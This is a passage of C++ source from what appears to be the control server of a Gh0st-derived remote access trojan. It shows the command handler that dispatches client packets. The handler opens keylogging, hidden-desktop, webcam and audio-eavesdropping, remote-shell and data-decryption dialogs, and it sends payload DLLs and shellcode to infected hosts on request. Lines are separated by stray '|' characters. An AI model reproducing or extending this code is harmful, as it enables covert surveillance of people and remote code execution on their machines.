Mprintf("[V2] 续传包大小无效: %u\n", len);
|
||
}
|
||
break;
|
||
}
|
||
case COMMAND_C2C_PREPARE_RESP: {
|
||
// C2C 准备响应(返回目标目录给发送方)
|
||
if (len < sizeof(C2CPrepareRespPacket)) break;
|
||
C2CPrepareRespPacket* resp = (C2CPrepareRespPacket*)szBuffer;
|
||
|
||
if (resp->srcClientID == 0) {
|
||
// 目标是主控端 - 本地处理(M2C 传输,保存目标目录)
|
||
uint16_t pathLen = resp->pathLength;
|
||
if (len >= sizeof(C2CPrepareRespPacket) + pathLen) {
|
||
std::string targetDir((const char*)szBuffer + sizeof(C2CPrepareRespPacket), pathLen);
|
||
Mprintf("[V2] 收到目标目录响应: transferID=%llu, dir=%s\n", resp->transferID, targetDir.c_str());
|
||
// M2C 传输时主控端是发送方,保存目标目录用于续传查询
|
||
// 转换 UTF-8 为宽字符存入全局 map
|
||
int wlen = MultiByteToWideChar(CP_UTF8, 0, targetDir.c_str(), -1, nullptr, 0);
|
||
std::wstring wideDir(wlen - 1, 0);
|
||
MultiByteToWideChar(CP_UTF8, 0, targetDir.c_str(), -1, &wideDir[0], wlen);
|
||
SetSenderTargetFolder(resp->transferID, wideDir);
|
||
}
|
||
} else {
|
||
// C2C - 转发到源客户端
|
||
context* srcCtx = FindHost(resp->srcClientID);
|
||
if (srcCtx) {
|
||
srcCtx->Send2Client(szBuffer, len);
|
||
Mprintf("[V2] 转发目标目录响应: -> srcClient=%llu\n", resp->srcClientID);
|
||
} else {
|
||
Mprintf("[V2] 目标目录响应:源客户端不在线: %llu\n", resp->srcClientID);
|
||
}
|
||
}
|
||
break;
|
||
}
|
||
case COMMAND_FILE_QUERY_RESUME: {
|
||
// V2 续传查询(基于文件特征匹配)
|
||
FileQueryResumeV2* query = (FileQueryResumeV2*)szBuffer;
|
||
|
||
if (query->dstClientID == 0) {
|
||
// 目标是主控端 - 本地处理
|
||
auto response = HandleResumeQuery((const char*)szBuffer, len);
|
||
if (!response.empty()) {
|
||
ContextObject->Send2Client((LPBYTE)response.data(), (int)response.size());
|
||
Mprintf("[V2] 已响应续传查询: %zu 字节\n", response.size());
|
||
}
|
||
} else {
|
||
// C2C - 转发到目标客户端
|
||
context* dstCtx = FindHost(query->dstClientID);
|
||
if (dstCtx) {
|
||
dstCtx->Send2Client(szBuffer, len);
|
||
Mprintf("[V2] 转发续传查询: -> %llu\n", query->dstClientID);
|
||
} else {
|
||
Mprintf("[V2] 续传查询目标不在线: %llu\n", query->dstClientID);
|
||
}
|
||
}
|
||
break;
|
||
}
|
||
case COMMAND_CLIPBOARD_V2: {
|
||
// V2 剪贴板请求(C2C 触发)
|
||
// 注意:C2C_PREPARE 已由 Ctrl+V 处理器发送,此处仅需转发
|
||
ClipboardRequestV2* req = (ClipboardRequestV2*)szBuffer;
|
||
Mprintf("[V2] C2C 剪贴板请求: src=%llu, dst=%llu, transferID=%llu\n",
|
||
req->srcClientID, req->dstClientID, req->transferID);
|
||
|
||
// 仅转发到源客户端(如果是从 Ctrl+V 处理器直接发送给远程桌面会话的,
|
||
// 这里不会执行;如果是其他路径,这里会转发)
|
||
context* srcCtx = FindHost(req->srcClientID);
|
||
if (srcCtx) {
|
||
srcCtx->Send2Client(szBuffer, len);
|
||
}
|
||
break;
|
||
}
|
||
case COMMAND_C2C_TEXT: {
|
||
// C2C 文本剪贴板: [cmd:1][dstClientID:8][textLen:4][text:N]
|
||
if (len < 13) break; // 最小包长度
|
||
uint64_t dstClientID;
|
||
uint32_t textLen;
|
||
memcpy(&dstClientID, szBuffer + 1, 8);
|
||
memcpy(&textLen, szBuffer + 9, 4);
|
||
|
||
Mprintf("[C2C] 文本转发: -> %llu (%u 字节)\n", dstClientID, textLen);
|
||
|
||
// 转发到目标客户端
|
||
context* dstCtx = FindHost(dstClientID);
|
||
if (dstCtx) {
|
||
dstCtx->Send2Client(szBuffer, len);
|
||
} else {
|
||
Mprintf("[C2C] 文本目标不在线: %llu\n", dstClientID);
|
||
}
|
||
break;
|
||
}
|
||
case COMMAND_FILE_COMPLETE_V2: {
|
||
// V2 文件完成校验
|
||
if (len < sizeof(FileCompletePacketV2)) break;
|
||
FileCompletePacketV2* pkt = (FileCompletePacketV2*)szBuffer;
|
||
|
||
if (pkt->dstClientID == 0) {
|
||
// 目标是主控端:本地校验
|
||
bool verifyOk = HandleFileCompleteV2((char*)szBuffer, len, 0);
|
||
Mprintf("[V2] 文件校验%s: transferID=%llu, fileIndex=%u\n",
|
||
verifyOk ? "通过" : "失败", pkt->transferID, pkt->fileIndex);
|
||
} else {
|
||
// C2C:转发到目标客户端
|
||
context* dstCtx = FindHost(pkt->dstClientID);
|
||
if (dstCtx) {
|
||
dstCtx->Send2Client(szBuffer, len);
|
||
Mprintf("[V2] 转发校验包: -> %llu, transferID=%llu\n",
|
||
pkt->dstClientID, pkt->transferID);
|
||
} else {
|
||
Mprintf("[V2] 校验包目标不在线: %llu\n", pkt->dstClientID);
|
||
}
|
||
}
|
||
break;
|
||
}
|
||
case TOKEN_GETVERSION: { // 获取版本【L】
|
||
// TODO 维持心跳
|
||
bool is64Bit = ContextObject->InDeCompressedBuffer.GetBYTE(1);
|
||
Buffer* bin = m_ServerBin[is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86];
|
||
DllSendData dll = { TASK_MAIN, L"ServerDll.dll", is64Bit, bin->length()-6 };
|
||
BYTE *resp = new BYTE[1 + sizeof(DllSendData) + dll.DataSize];
|
||
resp[0] = 0;
|
||
memcpy(resp+1, &dll, sizeof(DllSendData));
|
||
memcpy(resp+1+sizeof(DllSendData), bin->c_str() + 6, dll.DataSize);
|
||
ContextObject->Send2Client(resp, 1 + sizeof(DllSendData) + dll.DataSize);
|
||
SAFE_DELETE_ARRAY(resp);
|
||
break;
|
||
}
|
||
case CMD_AUTHORIZATION: { // 获取授权【L】
|
||
int n = ContextObject->InDeCompressedBuffer.GetBufferLength();
|
||
if (n < 100) break;
|
||
// 扩大到 400 字节以容纳 V2 签名(约 92 字节)和 Authorization(约 150 字节)
|
||
char resp[400] = { 0 }, *devId = resp + 5, *pwdHash = resp + 32;
|
||
ContextObject->InDeCompressedBuffer.CopyBuffer(resp, min(n, sizeof(resp)), 0);
|
||
unsigned short* days = (unsigned short*)(resp + 1);
|
||
unsigned short* num = (unsigned short*)(resp + 3);
|
||
BYTE msg[12] = {};
|
||
memcpy(msg, resp, 5);
|
||
memcpy(msg+8, resp+96, 4);
|
||
uint32_t now = clock();
|
||
uint32_t tm = *(uint32_t*)(resp + 96);
|
||
if (now < tm || now - tm > 30000) {
|
||
Mprintf("Get authorization timeout[%s], devId: %s, pwdHash:%s", ContextObject->GetPeerName().c_str(),
|
||
devId, pwdHash);
|
||
break;
|
||
}
|
||
uint64_t signature = *(uint64_t*)(resp + 24);
|
||
if (devId[0] == 0 || pwdHash[0] == 0 || !VerifyMessage(m_superPass, msg, sizeof(msg), signature)) {
|
||
Mprintf("Get authorization failed[%s], devId: %s, pwdHash:%s\n", ContextObject->GetPeerName().c_str(),
|
||
devId, pwdHash);
|
||
break;
|
||
}
|
||
char hostNum[10] = {};
|
||
sprintf(hostNum, "%04d", *num);
|
||
// 密码形式:20250209 - 20350209: SHA256: HostNum
|
||
std::string hash = std::string(pwdHash, pwdHash+64);
|
||
std::string password = getDateStr(0) + " - " + getDateStr(*days) + ": " + hash + ": " + hostNum;
|
||
std::string deviceID(devId, devId+19);
|
||
std::string finalKey = deriveKey(password, deviceID);
|
||
std::string fixedKey = getDateStr(0) + std::string("-") + getDateStr(*days) + "-" + hostNum +
|
||
std::string("-") + getFixedLengthID(finalKey);
|
||
memcpy(devId, fixedKey.c_str(), fixedKey.length());
|
||
devId[fixedKey.length()] = 0;
|
||
|
||
// 检查该设备原授权是 V1 还是 V2
|
||
std::string origPasscode, origHmac, origRemark;
|
||
bool isV2 = false;
|
||
if (LoadLicenseInfo(deviceID, origPasscode, origHmac, origRemark)) {
|
||
isV2 = (origHmac.length() >= 3 && origHmac.substr(0, 3) == "v2:");
|
||
}
|
||
|
||
std::string hmac;
|
||
if (isV2) {
|
||
// V2 续期:使用 ECDSA 签名
|
||
std::string privateKeyPath = m_v2KeyPath;
|
||
if (!privateKeyPath.empty()) {
|
||
hmac = signPasswordV2(deviceID, fixedKey, privateKeyPath.c_str());
|
||
if (hmac.empty()) {
|
||
Mprintf("V2 续期签名失败: %s\n", deviceID.c_str());
|
||
// 降级到 V1
|
||
uint64_t pwdHmac = SignMessage(m_superPass, (BYTE*)fixedKey.c_str(), (int)fixedKey.length());
|
||
hmac = std::to_string(pwdHmac);
|
||
}
|
||
} else {
|
||
Mprintf("V2 私钥未配置,无法续期 V2 授权: %s\n", deviceID.c_str());
|
||
// 降级到 V1
|
||
uint64_t pwdHmac = SignMessage(m_superPass, (BYTE*)fixedKey.c_str(), (int)fixedKey.length());
|
||
hmac = std::to_string(pwdHmac);
|
||
}
|
||
} else {
|
||
// V1 续期:使用 HMAC
|
||
uint64_t pwdHmac = SignMessage(m_superPass, (BYTE*)fixedKey.c_str(), (int)fixedKey.length());
|
||
hmac = std::to_string(pwdHmac);
|
||
}
|
||
|
||
memcpy(resp + 64, hmac.c_str(), hmac.length());
|
||
resp[64+hmac.length()] = 0;
|
||
|
||
// 构建 Authorization(多层授权)- 让下级主控知道向谁进行授权校验
|
||
// 注意:isV2Auth 判断的是当前服务端是否是授权服务器(有 V2 私钥),而非被授权设备的原授权类型
|
||
bool isV2Auth = !m_v2KeyPath.empty();
|
||
std::string authStr = BuildAuthorizationResponse(deviceID, fixedKey, hash, isV2Auth);
|
||
size_t authOffset = 64 + hmac.length() + 1; // hmac 后的 null 终止符之后
|
||
if (!authStr.empty() && authOffset + authStr.length() + 1 < sizeof(resp)) {
|
||
memcpy(resp + authOffset, authStr.c_str(), authStr.length() + 1);
|
||
Mprintf("[CMD_AUTH] 发送授权响应: deviceID=%s, passcode=%s, auth=%zu bytes\n",
|
||
deviceID.c_str(), fixedKey.c_str(), authStr.length());
|
||
} else {
|
||
Mprintf("[CMD_AUTH] 发送授权响应: deviceID=%s, passcode=%s (无 Authorization)\n",
|
||
deviceID.c_str(), fixedKey.c_str());
|
||
}
|
||
ContextObject->Send2Client((LPBYTE)resp, sizeof(resp));
|
||
|
||
// 注意:不在这里清除预设续期记录
|
||
// 因为这里的 deviceID 来自请求包(客户端硬件ID),和心跳中的 SN(授权SN)可能不同
|
||
// 预设续期已在 SendPendingRenewal 发送触发包后清除(使用正确的 SN)
|
||
|
||
Sleep(20);
|
||
break;
|
||
}
|
||
case CMD_EXECUTE_DLL: { // 请求DLL(执行代码)【L】
|
||
case CMD_EXECUTE_DLL_NEW:
|
||
DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1);
|
||
if (std::string(info->Name) == TINY_DLL_NAME) {
|
||
auto tinyRun = ReadTinyRunDll(info->Pid);
|
||
Buffer* buf = tinyRun->Data;
|
||
ContextObject->Send2Client(buf->Buf(), tinyRun->Data->length());
|
||
SAFE_DELETE(tinyRun);
|
||
break;
|
||
} else if (std::string(info->Name) == FRPC_DLL_NAME) {
|
||
auto frpc = ReadFrpcDll(info->CallType);
|
||
Buffer* buf = frpc->Data;
|
||
// 只有 CMD_EXECUTE_DLL_NEW 才有 Parameters 字段,需要保留
|
||
if (cmd == CMD_EXECUTE_DLL_NEW) {
|
||
DllExecuteInfoNew* p = (DllExecuteInfoNew*)(buf->Buf() + 1);
|
||
memcpy(p->Parameters, ((DllExecuteInfoNew*)info)->Parameters, sizeof(p->Parameters));
|
||
}
|
||
ContextObject->Send2Client(buf->Buf(), frpc->Data->length());
|
||
SAFE_DELETE(frpc);
|
||
break;
|
||
}
|
||
for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i) {
|
||
DllInfo* dll = *i;
|
||
if (dll->Name == info->Name) {
|
||
// TODO 如果是UDP,发送大包数据基本上不可能成功
|
||
ContextObject->Send2Client(dll->Data->Buf(), dll->Data->length());
|
||
break;
|
||
}
|
||
}
|
||
auto dll = ReadPluginDll(PluginPath() + "\\" + info->Name, { SHELLCODE, 0, CALLTYPE_DEFAULT, {}, {}, info->Pid, info->Is32Bit });
|
||
if (dll) {
|
||
Buffer* buf = dll->Data;
|
||
ContextObject->Send2Client(buf->Buf(), dll->Data->length());
|
||
SAFE_DELETE(dll);
|
||
}
|
||
Sleep(20);
|
||
break;
|
||
}
|
||
case COMMAND_PROXY: { // 代理映射【x】
|
||
g_2015RemoteDlg->SendMessage(WM_OPENPROXYDIALOG, 0, (LPARAM)ContextObject);
|
||
break;
|
||
}
|
||
case TOKEN_HEARTBEAT:
|
||
case 137: // 心跳【L】
|
||
g_2015RemoteDlg->PostMessageA(WM_UPDATE_ACTIVEWND, 0, (LPARAM)ContextObject);
|
||
break;
|
||
case SOCKET_DLLLOADER: {// 请求DLL【L】
|
||
auto len = ContextObject->InDeCompressedBuffer.GetBufferLength();
|
||
bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false;
|
||
int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL);
|
||
bool isRelease = len > 3 ? ContextObject->InDeCompressedBuffer.GetBYTE(3) : true;
|
||
char version[12] = {};
|
||
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
|
||
|
||
std::string clientIP = ContextObject->GetPeerName();
|
||
BOOL send = FALSE;
|
||
|
||
// 检查是否被限流(只限制真实发送 DLL 的请求)
|
||
if (IsDllRequestLimited(clientIP)) {
|
||
Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: RateLimited\n",
|
||
clientIP.c_str(), typ == SHELLCODE ? "SC" : "DLL", is64Bit, isRelease);
|
||
} else {
|
||
send = SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit);
|
||
if (send) {
|
||
RecordDllRequest(clientIP); // 只有真正发送了才记录
|
||
}
|
||
Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: %s\n",
|
||
clientIP.c_str(), typ == SHELLCODE ? "SC" : "DLL", is64Bit, isRelease, send ? "Yes" : "No");
|
||
}
|
||
break;
|
||
}
|
||
case COMMAND_BYE: { // 主机下线【L】
|
||
CancelIo((HANDLE)ContextObject->sClientSocket);
|
||
closesocket(ContextObject->sClientSocket);
|
||
Sleep(10);
|
||
break;
|
||
}
|
||
case TOKEN_DRAWING_BOARD: { // 远程画板【x】
|
||
g_2015RemoteDlg->SendMessage(WM_OPENDRAWINGBOARD, 0, (LPARAM)ContextObject);
|
||
break;
|
||
}
|
||
case TOKEN_DRIVE_LIST_PLUGIN: { // 文件管理【x】
|
||
ContextObject->EnableZstdContext(6);
|
||
g_2015RemoteDlg->SendMessage(WM_OPENFILEMGRDIALOG, 0, (LPARAM)ContextObject);
|
||
break;
|
||
}
|
||
case TOKEN_BITMAPINFO_HIDE: { // 虚拟桌面【x】
|
||
ContextObject->SetNoDelay(TRUE);
|
||
ContextObject->EnableZstdContext(-1);
|
||
g_2015RemoteDlg->SendMessage(WM_OPENHIDESCREENDLG, 0, (LPARAM)ContextObject);
|
||
break;
|
||
}
|
||
case TOKEN_SYSINFOLIST: { // 主机管理【x】
|
||
g_2015RemoteDlg->SendMessage(WM_OPENMACHINEMGRDLG, 0, (LPARAM)ContextObject);
|
||
break;
|
||
}
|
||
case TOKEN_CHAT_START: { // 远程交谈【x】
|
||
g_2015RemoteDlg->SendMessage(WM_OPENCHATDIALOG, 0, (LPARAM)ContextObject);
|
||
break;
|
||
}
|
||
case TOKEN_DECRYPT: { // 解密数据【x】
|
||
g_2015RemoteDlg->SendMessage(WM_OPENDECRYPTDIALOG, 0, (LPARAM)ContextObject);
|
||
break;
|
||
}
|
||
case TOKEN_KEYBOARD_START: {// 键盘记录【x】
|
||
g_2015RemoteDlg->SendMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)ContextObject);
|
||
break;
|
||
}
|
||
case TOKEN_LOGIN: { // 上线包【L】
|
||
g_2015RemoteDlg->SendMessage(WM_USERTOONLINELIST, 0, (LPARAM)ContextObject);
|
||
break;
|
||
}
|
||
case TOKEN_BITMAPINFO: { // 远程桌面【x】
|
||
ContextObject->SetNoDelay(TRUE);
|
||
ContextObject->EnableZstdContext(-1);
|
||
g_2015RemoteDlg->SendMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)ContextObject);
|
||
break;
|
||
}
|
||
case TOKEN_DRIVE_LIST: { // 文件管理【x】
|
||
ContextObject->EnableZstdContext(6);
|
||
g_2015RemoteDlg->SendMessage(WM_OPENFILEMANAGERDIALOG, 0, (LPARAM)ContextObject);
|
||
break;
|
||
}
|
||
case TOKEN_TALK_START: { // 发送消息【x】
|
||
g_2015RemoteDlg->SendMessage(WM_OPENTALKDIALOG, 0, (LPARAM)ContextObject);
|
||
break;
|
||
}
|
||
case TOKEN_SHELL_START: { // Windows 远程终端
|
||
g_2015RemoteDlg->SendMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject);
|
||
break;
|
||
}
|
||
case TOKEN_TERMINAL_START: { // Linux PTY 终端 (WebView2 + xterm.js)
|
||
// 检查 WebView2 和 DLL,都满足则使用现代终端,否则退化到经典终端
|
||
if (IsWebView2Available() && LoadTerminalModule()) {
|
||
g_2015RemoteDlg->SendMessage(WM_OPENTERMINALDIALOG, 0, (LPARAM)ContextObject);
|
||
} else {
|
||
g_2015RemoteDlg->PostMessageA(WM_SHOWMESSAGE,
|
||
(WPARAM)new CharMsg("To use Modern Terminal - WebView2 and TerminalModule.dll are required"), NULL);
|
||
g_2015RemoteDlg->SendMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)ContextObject);
|
||
}
|
||
break;
|
||
}
|
||
case TOKEN_WSLIST: // 窗口管理【x】
|
||
case TOKEN_PSLIST: { // 进程管理【x】
|
||
g_2015RemoteDlg->SendMessage(WM_OPENSYSTEMDIALOG, 0, (LPARAM)ContextObject);
|
||
break;
|
||
}
|
||
case TOKEN_AUDIO_START: { // 语音监听【x】
|
||
g_2015RemoteDlg->SendMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)ContextObject);
|
||
break;
|
||
}
|
||
case TOKEN_REGEDIT: { // 注册表管理【x】
|
||
g_2015RemoteDlg->SendMessage(WM_OPENREGISTERDIALOG, 0, (LPARAM)ContextObject);
|
||
break;
|
||
}
|
||
case TOKEN_SERVERLIST: { // 服务管理【x】
|
||
g_2015RemoteDlg->SendMessage(WM_OPENSERVICESDIALOG, 0, (LPARAM)ContextObject);
|
||
break;
|
||
}
|
||
case TOKEN_WEBCAM_BITMAPINFO: { // 摄像头【x】
|
||
g_2015RemoteDlg->SendMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)ContextObject);
|
||
break;
|
||
}
|
||
case CMD_PADDING: { // 随机填充
|
||
Mprintf("Receive padding command '%s' [%d]: Len=%d\n", ContextObject->GetPeerName().c_str(), cmd, len);
|
||
break;
|
||
}
|
||
default: {
|
||
Mprintf("Receive unknown command '%s' [%d]: Len=%d\n", ContextObject->GetPeerName().c_str(), cmd, len);
|
||
if (cmd == TOKEN_NEXTSCREEN) {
|
||
ContextObject->CancelIO(); // 远程桌面可能关闭了,收到后直接断开连接,避免占用网络带宽
|
||
}
|
||
}
|
||
}
|
||
auto duration = clock() - tick;
|
||
if (duration > 100) {
|
||
Mprintf("[%s] Command '%s' [%d] cost %d ms\n", __FUNCTION__, ContextObject->GetPeerName().c_str(), cmd, duration);
|
||
}
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnUserToOnlineList(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
CString strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing;
|
||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)lParam; //注意这里的 ClientContext 正是发送数据时从列表里取出的数据
|
||
|
||
if (ContextObject == NULL || isClosed) {
|
||
return -1;
|
||
}
|
||
|
||
try {
|
||
strIP = ContextObject->GetPeerName().c_str();
|
||
// 不合法的数据包
|
||
if (ContextObject->InDeCompressedBuffer.GetBufferLength() < sizeof(LOGIN_INFOR)) {
|
||
Mprintf("*** Received [%s] invalid login data! ***\n", strIP.GetString());
|
||
return -1;
|
||
}
|
||
|
||
LOGIN_INFOR* LoginInfor = new LOGIN_INFOR;
|
||
ContextObject->InDeCompressedBuffer.CopyBuffer((LPBYTE)LoginInfor, sizeof(LOGIN_INFOR), 0);
|
||
|
||
auto curID = GetMasterId();
|
||
ContextObject->MasterID = LoginInfor->szMasterID[0] ? LoginInfor->szMasterID : curID;
|
||
if (ContextObject->MasterID != curID) {
|
||
Mprintf("*** Received master '%s' client! ***\n", LoginInfor->szMasterID);
|
||
}
|
||
|
||
//主机名称
|
||
strPCName = LoginInfor->szPCName;
|
||
|
||
//版本信息
|
||
strOS = LoginInfor->OsVerInfoEx;
|
||
|
||
//CPU
|
||
if (LoginInfor->dwCPUMHz != -1) {
|
||
strCPU.FormatL("%dMHz", LoginInfor->dwCPUMHz);
|
||
} else {
|
||
strCPU = "Unknown";
|
||
}
|
||
|
||
//网速
|
||
strPing.FormatL("%d", LoginInfor->dwSpeed);
|
||
|
||
strVideo = m_settings.DetectSoftware ? _TR("无") : LoginInfor->bWebCamIsExist ? _TR("有") : _TR("无");
|
||
|
||
strAddr.FormatL("%d", ContextObject->GetPort());
|
||
auto v = LoginInfor->ParseReserved(RES_MAX);
|
||
AddList(strIP,strAddr,strPCName,strOS,strCPU,strVideo,strPing,LoginInfor->moduleVersion,LoginInfor->szStartTime, v, ContextObject);
|
||
delete LoginInfor;
|
||
return S_OK;
|
||
} catch(...) {
|
||
Mprintf("[ERROR] OnUserToOnlineList catch an error: %s\n", ContextObject->GetPeerName().c_str());
|
||
}
|
||
return -1;
|
||
}
|
||
|
||
|
||
// 根据列表显示索引获取 context(考虑分组过滤)
|
||
context* CMy2015RemoteDlg::GetContextByListIndex(int iItem)
|
||
{
|
||
if (iItem < 0 || iItem >= (int)m_FilteredIndices.size()) {
|
||
return nullptr;
|
||
}
|
||
size_t realIdx = m_FilteredIndices[iItem];
|
||
if (realIdx >= m_HostList.size()) {
|
||
return nullptr;
|
||
}
|
||
return m_HostList[realIdx];
|
||
}
|
||
|
||
// 从 m_HostList 中移除 context 并更新索引映射
|
||
bool CMy2015RemoteDlg::RemoveFromHostList(context* ctx)
|
||
{
|
||
if (!ctx) return false;
|
||
uint64_t clientID = ctx->GetClientID();
|
||
// 通知 Web 服务(批量通知,由定时器触发)
|
||
if (WebService().IsRunning()) {
|
||
WebService().MarkDeviceOffline(clientID);
|
||
}
|
||
|
||
// 方案1:通过索引快速查找(如果索引有效且匹配)
|
||
auto indexIt = m_ClientIndex.find(clientID);
|
||
if (indexIt != m_ClientIndex.end()) {
|
||
size_t idx = indexIt->second;
|
||
if (idx < m_HostList.size() && m_HostList[idx] == ctx) {
|
||
// 索引有效且指向正确的 context
|
||
m_HostList.erase(m_HostList.begin() + idx);
|
||
m_ClientIndex.erase(indexIt);
|
||
// 更新后续元素的索引
|
||
for (size_t i = idx; i < m_HostList.size(); ++i) {
|
||
context* c = m_HostList[i];
|
||
if (c) {
|
||
m_ClientIndex[c->GetClientID()] = i;
|
||
}
|
||
}
|
||
return true;
|
||
}
|
||
}
|
||
|
||
// 方案2:索引不存在或不匹配,遍历查找(处理重复 ID 的情况)
|
||
for (size_t i = 0; i < m_HostList.size(); ++i) {
|
||
if (m_HostList[i] == ctx) {
|
||
m_HostList.erase(m_HostList.begin() + i);
|
||
// 如果索引指向的是被删除的元素,也删除索引
|
||
if (indexIt != m_ClientIndex.end() && indexIt->second == i) {
|
||
m_ClientIndex.erase(indexIt);
|
||
}
|
||
// 更新后续元素的索引
|
||
for (size_t j = i; j < m_HostList.size(); ++j) {
|
||
context* c = m_HostList[j];
|
||
if (c) {
|
||
m_ClientIndex[c->GetClientID()] = j;
|
||
}
|
||
}
|
||
return true;
|
||
}
|
||
}
|
||
return false;
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
// OfflineProc already removed context from m_HostList/m_PendingOnline and added to m_PendingOffline.
|
||
// The context data is passed via heap-allocated OfflineInfo struct.
|
||
OfflineInfo* info = (OfflineInfo*)wParam;
|
||
if (!info) {
|
||
return S_OK;
|
||
}
|
||
|
||
// Show offline notification
|
||
if (!info->ip.IsEmpty() && info->hasLogin) {
|
||
ShowMessage(_TR("操作成功"), info->ip + " " + _TR("主机下线") + "[" + info->aliveInfo.c_str() + "]");
|
||
Mprintf("%s 主机下线 [%s]\n", info->ip.GetString(), info->aliveInfo.c_str());
|
||
}
|
||
|
||
// Close child dialog window
|
||
HWND p = info->hWnd;
|
||
delete info;
|
||
|
||
if (p && ::IsWindow(p)) {
|
||
::PostMessageA(p, WM_CLOSE, 0, 0);
|
||
}
|
||
|
||
return S_OK;
|
||
}
|
||
|
||
LRESULT CMy2015RemoteDlg::UpdateUserEvent(WPARAM wParam, LPARAM lParam)
|
||
{
|
||
CONTEXT_OBJECT* ctx = (CONTEXT_OBJECT*)lParam;
|
||
UpdateActiveWindow(ctx);
|
||
|
||
return S_OK;
|
||
}
|
||
|
||
// 验证 passcode 格式前缀:YYYYMMDD-YYYYMMDD
|
||
// 例如:20260306-20270307-6666-be20-0a88-a4bc-7375
|
||
static bool IsValidPasscodeFormat(const char* passcode)
|
||
{
|
||
if (!passcode || strlen(passcode) < 17) return false; // 至少 "YYYYMMDD-YYYYMMDD"
|
||
|
||
// 检查第一段:8位数字 (开始日期)
|
||
for (int i = 0; i < 8; i++) {
|
||
if (!isdigit((unsigned char)passcode[i])) return false;
|
||
}
|
||
|
||
// 检查分隔符
|
||
if (passcode[8] != '-') return false;
|
||
|
||
// 检查第二段:8位数字 (结束日期)
|
||
for (int i = 9; i < 17; i++) {
|
||
if (!isdigit((unsigned char)passcode[i])) return false;
|
||
}
|
||
|
||
return true;
|
||
}
|
||
|
||
// 构建 Authorization 响应(多层授权)
|
||
std::string CMy2015RemoteDlg::BuildAuthorizationResponse(const std::string& sn,
|
||
const std::string& passcode, const std::string& pwdHash, bool isV2Auth)
|
||
{
|
||
std::string authStr;
|
||
|
||
if (isV2Auth) {
|
||
// V2 验证成功:授权服务器返回 Authorization 给第一层
|
||
// 从保存的 Authorization 提取下级并发数,用 passcode 中的新日期重新生成
|
||
std::string savedAuthObf = LoadLicenseAuthorization(sn);
|
||
std::string savedAuth = savedAuthObf.empty() ? "" : TcpClient::DeobfuscateAuthorization(savedAuthObf);
|
||
|
||
// 从 passcode 解析新日期: "20250101-20260101-0100-xxxx"
|
||
auto passcodeParts = splitString(passcode, '-');
|
||
if (passcodeParts.size() >= 3 && !m_v2KeyPath.empty()) {
|
||
std::string newStartDate = passcodeParts[0];
|
||
std::string newEndDate = passcodeParts[1];
|
||
std::string authHostNum; // Authorization 中的下级并发数
|
||
|
||
std::string savedStartDate, savedEndDate;
|
||
if (!savedAuth.empty()) {
|
||
// 从保存的 Authorization 提取下级并发数: "startDate|endDate|hostNum|snHashPrefix|sig"
|
||
auto authParts = splitString(savedAuth, '|');
|
||
if (authParts.size() >= 3) {
|
||
savedStartDate = authParts[0];
|
||
savedEndDate = authParts[1];
|
||
authHostNum = authParts[2]; // 保持原有的下级并发数不变
|
||
}
|
||
}
|
||
|
||
bool isNewAuth = authHostNum.empty();
|
||
if (isNewAuth) {
|
||
// 没有保存的 Authorization,使用 passcode 中的并发数作为下级并发数
|
||
authHostNum = passcodeParts[2];
|
||
}
|
||
|
||
// 检查日期是否变化
|
||
bool dateChanged = isNewAuth || (newStartDate != savedStartDate) || (newEndDate != savedEndDate);
|
||
if (!dateChanged) {
|
||
// 日期未变化,直接返回已保存的 Authorization
|
||
return savedAuthObf;
|
||
}
|
||
|
||
// 用新日期 + 下级并发数 重新生成 Authorization
|
||
std::string license = newStartDate + "|" + newEndDate + "|" + authHostNum;
|
||
std::string snHashPrefix = computeSnHashPrefix(sn);
|
||
std::string authSig = signAuthorizationV2(license, snHashPrefix, m_v2KeyPath.c_str());
|
||
if (!authSig.empty()) {
|
||
authStr = license + "|" + snHashPrefix + "|" + authSig;
|
||
// 保存更新后的 Authorization 到 license.ini
|
||
std::string authObfuscated = TcpClient::ObfuscateAuthorization(authStr);
|
||
UpdateLicenseAuthorization(sn, authObfuscated);
|
||
if (isNewAuth) {
|
||
Mprintf("V2 生成新 Authorization: %s (hostNum=%s)\n", sn.c_str(), authHostNum.c_str());
|
||
} else {
|
||
Mprintf("V2 更新 Authorization 日期: %s → %s (hostNum=%s)\n",
|
||
savedEndDate.c_str(), newEndDate.c_str(), authHostNum.c_str());
|
||
}
|
||
}
|
||
}
|
||
} else {
|
||
// V1 验证成功:第一层返回 Authorization 给下级
|
||
// 注意:授权服务器(有 V2PrivateKey)不应返回 Authorization,因为它不是"第一层"
|
||
if (m_v2KeyPath.empty()) {
|
||
// 没有 V2 私钥,说明是第一层服务端,可以返回 Authorization
|
||
return BuildV1Authorization(sn);
|
||
}
|
||
}
|
||
|
||
// 返回混淆后的 Authorization(网络传输)
|
||
return authStr.empty() ? "" : TcpClient::ObfuscateAuthorization(authStr);
|
||
}
|
||
|
||
// 生成续期信息
|
||
// 返回: (newPasscode, newHmac),如果不需要续期则返回空字符串
|
||
std::pair<std::string, std::string> CMy2015RemoteDlg::GenerateRenewalInfo(
|
||
const std::string& sn, const std::string& passcode,
|
||
const std::string& pwdHash, bool isV2)
|
||
{
|
||
std::pair<std::string, std::string> result;
|
||
|
||
// 检查是否有预设续期
|
||
